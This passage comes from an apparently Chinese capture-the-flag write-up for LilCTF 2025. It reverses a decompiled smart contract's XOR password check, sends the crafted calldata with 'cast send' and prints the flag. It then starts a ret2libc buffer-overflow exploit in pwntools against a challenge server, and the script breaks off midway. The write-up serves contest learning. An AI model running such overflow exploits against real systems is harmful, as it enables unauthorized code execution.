class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br></pre></td><td class="code"><pre><span class="line">contract Contract &#123;</span><br><span class="line">    function main() &#123;</span><br><span class="line">        memory[0x40:0x60] = 0x80;</span><br><span class="line">        var var0 = msg.value;</span><br><span class="line">    </span><br><span class="line">        if (var0) &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">    </span><br><span class="line">        if (msg.data.length &lt; 0x04) &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">    </span><br><span class="line">        var0 = msg.data[0x00:0x20] &gt;&gt; 0xe0;</span><br><span class="line">    </span><br><span class="line">        if (var0 == 0x5cc4d812) &#123;</span><br><span class="line">            // Dispatch table entry for 0x5cc4d812 (unknown)</span><br><span class="line">            var var1 = 0x004e;</span><br><span class="line">            var var2 = 0x0049;</span><br><span class="line">            var var3 = msg.data.length;</span><br><span class="line">            var var4 = 0x04;</span><br><span class="line">            var2 = func_023A(var3, var4);</span><br><span class="line">            func_0049(var2);</span><br><span class="line">            stop();</span><br><span class="line">        &#125; else if (var0 == 0x64d98f6e) &#123;</span><br><span class="line">            // Dispatch table entry for isSolved()</span><br><span class="line">            var temp0 = memory[0x40:0x60];</span><br><span class="line">            memory[temp0:temp0 + 0x20] = !!(storage[0x01] &amp; 0xff);</span><br><span class="line">            var temp1 = memory[0x40:0x60];</span><br><span class="line">            return memory[temp1:temp1 + (temp0 + 0x20) - temp1];</span><br><span class="line">        &#125; else &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_0049(var arg0) &#123;</span><br><span class="line">        var var0 = 0x0073;</span><br><span class="line">        var var1 = arg0;</span><br><span class="line">        var0 = func_0112(var1);</span><br><span class="line">        var temp0 = var0;</span><br><span class="line">        var0 = 0x0083;</span><br><span class="line">        var1 = temp0;</span><br><span class="line">        var var2 = memory[0x40:0x60] + 0x20;</span><br><span class="line">        var0 = func_02EB(var1, var2);</span><br><span class="line">        var temp1 = memory[0x40:0x60];</span><br><span class="line">        var temp2 = var0;</span><br><span class="line">        memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;</span><br><span class="line">        memory[0x40:0x60] = temp2;</span><br><span class="line">        var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);</span><br><span class="line">        var1 = 0x00ab;</span><br><span class="line">        var var3 = memory[0x40:0x60] + 0x20;</span><br><span class="line">        var2 = 0x00;</span><br><span class="line">        var1 = func_0326(var2, var3);</span><br><span class="line">        var temp3 = memory[0x40:0x60];</span><br><span class="line">        var temp4 = var1;</span><br><span class="line">        memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;</span><br><span class="line">        memory[0x40:0x60] = temp4;</span><br><span class="line">    </span><br><span class="line">        if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) &#123;</span><br><span class="line">            storage[0x01] = (storage[0x01] &amp; ~0xff) | 0x01;</span><br><span class="line">            return;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            var temp5 = memory[0x40:0x60];</span><br><span class="line">            memory[temp5:temp5 + 0x20] = 0x461bcd &lt;&lt; 0xe5;</span><br><span class="line">            memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;</span><br><span class="line">            memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;</span><br><span class="line">            memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 &lt;&lt; 0x90;</span><br><span class="line">            var temp6 = memory[0x40:0x60];</span><br><span class="line">            revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_0112(var arg0) returns (var r0) &#123;</span><br><span class="line">        var temp0 = memory[0x40:0x60];</span><br><span class="line">        memory[0x40:0x60] = temp0 + 0x40;</span><br><span class="line">        memory[temp0:temp0 + 0x20] = 0x0c;</span><br><span class="line">        memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x35b2bcaf9a9b9a1c19199ab3 &lt;&lt; 0xa1;</span><br><span class="line">        var var2 = temp0;</span><br><span class="line">        var var0 = 0x60;</span><br><span class="line">        var var1 = arg0;</span><br><span class="line">        var var4 = memory[var1:var1 + 0x20];</span><br><span class="line">        var var3 = 0x00;</span><br><span class="line">    </span><br><span class="line">        if (var4 &lt;= 0xffffffffffffffff) &#123;</span><br><span class="line">            var temp1 = memory[0x40:0x60];</span><br><span class="line">            var temp2 = var4;</span><br><span class="line">            var var5 = temp2;</span><br><span class="line">            var4 = temp1;</span><br><span class="line">            memory[var4:var4 + 0x20] = var5;</span><br><span class="line">            memory[0x40:0x60] = var4 + (var5 + 0x1f &amp; ~0x1f) + 0x20;</span><br><span class="line">        </span><br><span class="line">            if (!var5) &#123;</span><br><span class="line">                var3 = var4;</span><br><span class="line">                var4 = 0x00;</span><br><span class="line">            </span><br><span class="line">                if (var4 &gt;= memory[var1:var1 + 0x20]) &#123;</span><br><span class="line">                label_021B:</span><br><span class="line">                    return var3;</span><br><span class="line">                &#125; else &#123;</span><br><span class="line">                label_0191:</span><br><span class="line">                    var5 = var2;</span><br><span class="line">                    var var6 = 0x019e;</span><br><span class="line">                    var var8 = var4;</span><br><span class="line">                    var var7 = memory[var5:var5 + 0x20];</span><br><span class="line">                    var6 = func_03C2(var7, var8);</span><br><span class="line">                </span><br><span class="line">                    if (var6 &lt; memory[var5:var5 + 0x20]) &#123;</span><br><span class="line">                        var5 = ((memory[var6 + 0x20 + var5:var6 + 0x20 + var5 + 0x20] &gt;&gt; 0xf8) &lt;&lt; 0xf8) &gt;&gt; 0xf8;</span><br><span class="line">                        var6 = var1;</span><br><span class="line">                        var7 = var4;</span><br><span class="line">                    </span><br><span class="line">                        if (var7 &lt; memory[var6:var6 + 0x20]) &#123;</span><br><span class="line">                            var5 = ((((memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x20] &gt;&gt; 0xf8) &lt;&lt; 0xf8) &gt;&gt; 0xf8) ~ var5) &lt;&lt; 0xf8;</span><br><span class="line">                            var6 = var3;</span><br><span class="line">                            var7 = var4;</span><br><span class="line">                        </span><br><span class="line">                            if (var7 &lt; memory[var6:var6 + 0x20]) &#123;</span><br><span class="line">                                memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x01] = byte(var5 &amp; ~((0x01 &lt;&lt; 0xf8) - 0x01), 0x00);</span><br><span class="line">                                var5 = var4;</span><br><span class="line">                                var6 = 0x0213;</span><br><span class="line">                                var7 = var5;</span><br><span class="line">                                var6 = func_03FA(var7);</span><br><span class="line">                                var4 = var6;</span><br><span class="line">                            </span><br><span class="line">                                if (var4 &gt;= memory[var1:var1 + 0x20]) &#123; goto label_021B; &#125;</span><br><span class="line">                                else &#123; goto label_0191; &#125;</span><br><span class="line">                            &#125; else &#123;</span><br><span class="line">                                var8 = 0x01f2;</span><br><span class="line">                            </span><br><span class="line">                            label_03E4:</span><br><span class="line">                                memory[0x00:0x20] = 0x4e487b71 &lt;&lt; 0xe0;</span><br><span class="line">                                memory[0x04:0x24] = 0x32;</span><br><span class="line">                                revert(memory[0x00:0x24]);</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125; else &#123;</span><br><span class="line">                            var8 = 0x01ce;</span><br><span class="line">                            goto label_03E4;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125; else &#123;</span><br><span class="line">                        var7 = 0x01ae;</span><br><span class="line">                        goto label_03E4;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">                var temp3 = var5;</span><br><span class="line">                memory[var4 + 0x20:var4 + 0x20 + temp3] = msg.data[msg.data.length:msg.data.length + temp3];</span><br><span class="line">                var3 = var4;</span><br><span class="line">                var4 = 0x00;</span><br><span class="line">            </span><br><span class="line">                if (var4 &gt;= memory[var1:var1 + 0x20]) &#123; goto label_021B; &#125;</span><br><span class="line">                else &#123; goto label_0191; &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            var5 = 0x0157;</span><br><span class="line">            memory[0x00:0x20] = 0x4e487b71 &lt;&lt; 0xe0;</span><br><span class="line">            memory[0x04:0x24] = 0x41;</span><br><span class="line">            revert(memory[0x00:0x24]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_023A(var arg0, var arg1) returns (var r0) &#123;</span><br><span class="line">        var var0 = 0x00;</span><br><span class="line">    </span><br><span class="line">        if (arg0 - arg1 i&lt; 0x20) &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">    </span><br><span class="line">        var var1 = msg.data[arg1:arg1 + 0x20];</span><br><span class="line">        var var2 = 0xffffffffffffffff;</span><br><span class="line">    </span><br><span class="line">        if (var1 &gt; var2) &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">    </span><br><span class="line">        var temp0 = arg1 + var1;</span><br><span class="line">        var1 = temp0;</span><br><span class="line">    </span><br><span class="line">        if (var1 + 0x1f i&gt;= arg0) &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">    </span><br><span class="line">        var var3 = msg.data[var1:var1 + 0x20];</span><br><span class="line">    </span><br><span class="line">        if (var3 &lt;= var2) &#123;</span><br><span class="line">            var temp1 = memory[0x40:0x60];</span><br><span class="line">            var temp2 = ~0x1f;</span><br><span class="line">            var temp3 = temp1 + ((temp2 &amp; var3 + 0x1f) + 0x3f &amp; temp2);</span><br><span class="line">            var var4 = temp3;</span><br><span class="line">            var var5 = temp1;</span><br><span class="line">        </span><br><span class="line">            if (!((var4 &lt; var5) | (var4 &gt; var2))) &#123;</span><br><span class="line">                memory[0x40:0x60] = var4;</span><br><span class="line">                var temp4 = var3;</span><br><span class="line">                memory[var5:var5 + 0x20] = temp4;</span><br><span class="line">            </span><br><span class="line">                if (var1 + temp4 + 0x20 &gt; arg0) &#123; revert(memory[0x00:0x00]); &#125;</span><br><span class="line">            </span><br><span class="line">                var temp5 = var3;</span><br><span class="line">                var temp6 = var5;</span><br><span class="line">                memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[var1 + 0x20:var1 + 0x20 + temp5];</span><br><span class="line">                memory[temp6 + temp5 + 0x20:temp6 + temp5 + 0x20 + 0x20] = 0x00;</span><br><span class="line">                return temp6;</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">                var var6 = 0x02b2;</span><br><span class="line">            </span><br><span class="line">            label_0224:</span><br><span class="line">                memory[0x00:0x20] = 0x4e487b71 &lt;&lt; 0xe0;</span><br><span class="line">                memory[0x04:0x24] = 0x41;</span><br><span class="line">                revert(memory[0x00:0x24]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            var4 = 0x028a;</span><br><span class="line">            goto label_0224;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_02EB(var arg0, var arg1) returns (var r0) &#123;</span><br><span class="line">        var var0 = 0x00;</span><br><span class="line">        var var1 = memory[arg0:arg0 + 0x20];</span><br><span class="line">        var var2 = 0x00;</span><br><span class="line">    </span><br><span class="line">        if (var2 &gt;= var1) &#123;</span><br><span class="line">        label_030C:</span><br><span class="line">        </span><br><span class="line">            if (var2 &lt;= var1) &#123; return var1 + arg1; &#125;</span><br><span class="line">        </span><br><span class="line">            var temp0 = var1;</span><br><span class="line">            var temp1 = arg1;</span><br><span class="line">            memory[temp1 + temp0:temp1 + temp0 + 0x20] = 0x00;</span><br><span class="line">            return temp0 + temp1;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">        label_02FB:</span><br><span class="line">            var temp2 = var2;</span><br><span class="line">            memory[temp2 + arg1:temp2 + arg1 + 0x20] = memory[arg0 + temp2 + 0x20:arg0 + temp2 + 0x20 + 0x20];</span><br><span class="line">            var2 = temp2 + 0x20;</span><br><span class="line">        </span><br><span class="line">            if (var2 &gt;= var1) &#123; goto label_030C; &#125;</span><br><span class="line">            else &#123; goto label_02FB; &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_0326(var arg0, var arg1) returns (var r0) &#123;</span><br><span class="line">        var var0 = 0x00;</span><br><span class="line">        var var1 = var0;</span><br><span class="line">        var temp0 = storage[arg0];</span><br><span class="line">        var var2 = temp0;</span><br><span class="line">        var var4 = 0x01;</span><br><span class="line">        var var3 = var2 &gt;&gt; var4;</span><br><span class="line">        var var5 = var2 &amp; var4;</span><br><span class="line">    </span><br><span class="line">        if (var5) &#123;</span><br><span class="line">            var var6 = 0x20;</span><br><span class="line">        </span><br><span class="line">            if (var5 != (var3 &lt; var6)) &#123;</span><br><span class="line">            label_0362:</span><br><span class="line">                var var7 = var5;</span><br><span class="line">            </span><br><span class="line">                if (!var7) &#123;</span><br><span class="line">                    var temp1 = arg1;</span><br><span class="line">                    memory[temp1:temp1 + 0x20] = var2 &amp; ~0xff;</span><br><span class="line">                    var1 = temp1 + var3;</span><br><span class="line">                </span><br><span class="line">                label_03B4:</span><br><span class="line">                    return var1;</span><br><span class="line">                &#125; else if (var7 == 0x01) &#123;</span><br><span class="line">                    memory[0x00:0x20] = arg0;</span><br><span class="line">                    var var8 = keccak256(memory[0x00:0x20]);</span><br><span class="line">                    var var9 = 0x00;</span><br><span class="line">                </span><br><span class="line">                    if (var9 &gt;= var3) &#123;</span><br><span class="line">                    label_03AC:</span><br><span class="line">                        var1 = arg1 + var3;</span><br><span class="line">                        goto label_03B4;</span><br><span class="line">                    &#125; else &#123;</span><br><span class="line">                    label_039C:</span><br><span class="line">                        var temp2 = var8;</span><br><span class="line">                        var temp3 = var9;</span><br><span class="line">                        memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];</span><br><span class="line">                        var8 = var4 + temp2;</span><br><span class="line">                        var9 = var6 + temp3;</span><br><span class="line">                    </span><br><span class="line">                        if (var9 &gt;= var3) &#123; goto label_03AC; &#125;</span><br><span class="line">                        else &#123; goto label_039C; &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; else &#123; goto label_03B4; &#125;</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">            label_034F:</span><br><span class="line">                var temp4 = var1;</span><br><span class="line">                memory[temp4:temp4 + 0x20] = 0x4e487b71 &lt;&lt; 0xe0;</span><br><span class="line">                memory[0x04:0x24] = 0x22;</span><br><span class="line">                revert(memory[temp4:temp4 + 0x24]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            var temp5 = var3 &amp; 0x7f;</span><br><span class="line">            var3 = temp5;</span><br><span class="line">            var6 = 0x20;</span><br><span class="line">        </span><br><span class="line">            if (var5 != (var3 &lt; var6)) &#123; goto label_0362; &#125;</span><br><span class="line">            else &#123; goto label_034F; &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_03C2(var arg0, var arg1) returns (var r0) &#123;</span><br><span class="line">        var var0 = 0x00;</span><br><span class="line">    </span><br><span class="line">        if (arg0) &#123; return arg1 % arg0; &#125;</span><br><span class="line">    </span><br><span class="line">        memory[0x00:0x20] = 0x4e487b71 &lt;&lt; 0xe0;</span><br><span class="line">        memory[0x04:0x24] = 0x12;</span><br><span class="line">        revert(memory[0x00:0x24]);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    function func_03FA(var arg0) returns (var r0) &#123;</span><br><span class="line">        var var0 = 0x00;</span><br><span class="line">    </span><br><span class="line">        if (arg0 != ~0x00) &#123; return arg0 + 0x01; &#125;</span><br><span class="line">    </span><br><span class="line">        memory[0x00:0x20] = 0x4e487b71 &lt;&lt; 0xe0;</span><br><span class="line">        memory[0x04:0x24] = 0x11;</span><br><span class="line">        revert(memory[0x00:0x24]);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/abb3ae02-be8f-43f1-b324-338f3c3d04d4.png"></p><p>先 cast 一下 storage 0 的值, 返回0x5d，二进制为01011101，根据Solidity动态数组的存储规则，这是一个长数组，其长度为 <code>(0x5d - 1) / 2 = 46</code> 字节。数据实际存储的起始位置是 <code>keccak256(0)</code> &#x3D; 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563</p><p>通过cast访问这个地址可以得到一个32字节的数据 0x5d504d6f07030200040606575d064c390202025d040701535c574c3902030000</p><p>由于前面知道了长度总共是46个字节, 所以需要继续读取下一个地址的数据 0x010000005e564a6c0107075e0557000000000000000000000000000000000000</p><p>拼接之后可以得到完整的密文 0x5d504d6f07030200040606575d064c390202025d040701535c574c3902030000010000005e564a6c0107075e0557</p><p>然后需要逆向一下这个验证逻辑, <code>func_0112</code> 是加密函数, 他的逻辑就是一个循环异或, key 是 <code>0x35b2bcaf9a9b9a1c19199ab3 &lt;&lt; 0xa1</code>, 解出来转成ascii是<code>key_5748235f</code> 然后写脚本把密文和密钥循环异或就能构造出我们的输入</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">secret = <span class="string">&quot;0x5d504d6f07030200040606575d064c390202025d040701535c574c3902030000010000005e564a6c0107075e0557&quot;</span></span><br><span class="line">key = <span class="string">&quot;key_5748235f&quot;</span>.encode(<span class="string">&#x27;ascii&#x27;</span>)</span><br><span class="line">secret_data = <span class="built_in">bytes</span>.fromhex(secret.replace(<span class="string">&quot;0x&quot;</span>, <span class="string">&quot;&quot;</span>))</span><br><span class="line">required_input_bytes = <span class="built_in">bytearray</span>()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(secret_data)):</span><br><span class="line">    transformed_byte = secret_data[i] ^ key[i % <span class="built_in">len</span>(key)]</span><br><span class="line">    required_input_bytes.append(transformed_byte)</span><br><span class="line">required_input_hex = required_input_bytes.<span class="built_in">hex</span>()</span><br><span class="line"><span class="built_in">print</span>(required_input_hex)</span><br><span class="line"><span class="comment"># 36353430323436383635333136633566373536653634343537323566373434383333356635333333343033663764</span></span><br></pre></td></tr></table></figure><p>然后需要把算出来的数据构造成call-data发到链上进行交易, 首先前4字节是函数选择器, 通过反编译可以得到需要调用的函数是0x5cc4d812, 加下来32字节是 0000000000000000000000000000000000000000000000000000000000000020, 这个 0x20 指的是数据在这个位置的 32 字节之后开始, 接下来是数据的长度, 前面知道了是 46 个字节,所以是 000…2e, 然后 46 字节就是我们要传的数据，由于ABI数据规范要求 32 字节对齐, 所以后面需要补 18 个 0</p><p>最后构造的命令如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ cast send 0x801C106775A116af3420358922fF10FeaA77119b <span class="string">&quot;0x5cc4d8120000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e36353430323436383635333136633566373536653634343537323566373434383333356635333333343033663764000000000000000000000000000000000000&quot;</span> --private-key &lt;private_key&gt; --rpc-url http://106.15.138.99:8545/</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/4f96133f-096f-4644-b427-61934e85b29f.png"></p><p>可以看到返回的status为success, 然后在 nc 回去就拿到flag了: <code>LILCTF&#123;WH#_11ves_IN_a_se@$he1l_undEr_tH3_S3@?&#125;</code></p><h2 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h2><h3 id="PWN-Checkin"><a href="#PWN-Checkin" class="headerlink" title="PWN-Checkin"></a>PWN-Checkin</h3><p>基础 ret2libc</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">112</span>]; <span class="comment">// [rsp+0h] [rbp-70h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(_bss_start, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to lilctf!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What&#x27;s your name?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x200</span>u);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>找到 libc 中 <code>system</code> 和 <code>/bin/sh</code> 的地址, 分别为<code>0x50d70</code>，<code>0x1d8678</code>, 然后通过 <code>puts</code> 泄露 <code>libc</code> 基址, 然后通过 <code>read</code> 溢出执行 <code>system(&quot;/bin/sh&quot;)</code> 就行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">program_base = <span class="number">0x400000</span></span><br><span class="line"></span><br><span class="line">system_offset = <span class="number">0x50d70</span></span><br><span class="line">binsh_offset = <span class="number">0x1d8678</span></span><br><span class="line">puts_offset = <span class="number">0x80e50</span></span><br><span class="line"></span><br><span class="line">pop_rdi_ret = <span class="number">0x401176</span></span><br><span class="line">ret_gadget = <span class="number">0x40101a</span></span><br><span class="line"></span><br><span class="line">puts_plt = <span class="number">0x401060</span></span><br><span class="line">puts_got = <span class="number">0x404018</span></span><br><span class="line">main_addr = <span class="number">0x401178</span></span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x70</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exploit</span>():</span><br><span class="line">    p = remote(<span class="string">&#x27;challenge.xinshi.fun&#x27;</span>, <span class="number">44430</span>)</span><br><span class="line">    </span><br><span class="line">    payload1 = <span class="string">b&#x27;A&#x27;</span> * offset</span><br><span class="line">    payload1 += p64(pop_rdi_ret)</span><br><span class="line">    payload1 += p64(puts_got)</span><br><span class="line">    payload1 += p64(puts_plt)</span><br><span class="line">    payload1 += p64(main_addr)</span><br><span class="line"></span><br><span class="line">    p.sendlineafter(<span class="string">b&quot;What&#x27;s your name?&quot;</span>, payload1)</span><br><span class="line">    </span><br><span class="line">    p.recvuntil(<span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">    leaked_data = p.recv(<span class="number">8</span>)</span><br><span class="line">    </span><br><span class="line">    leaked_puts = u64(leaked_data[:<span class="number">6</span>].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span 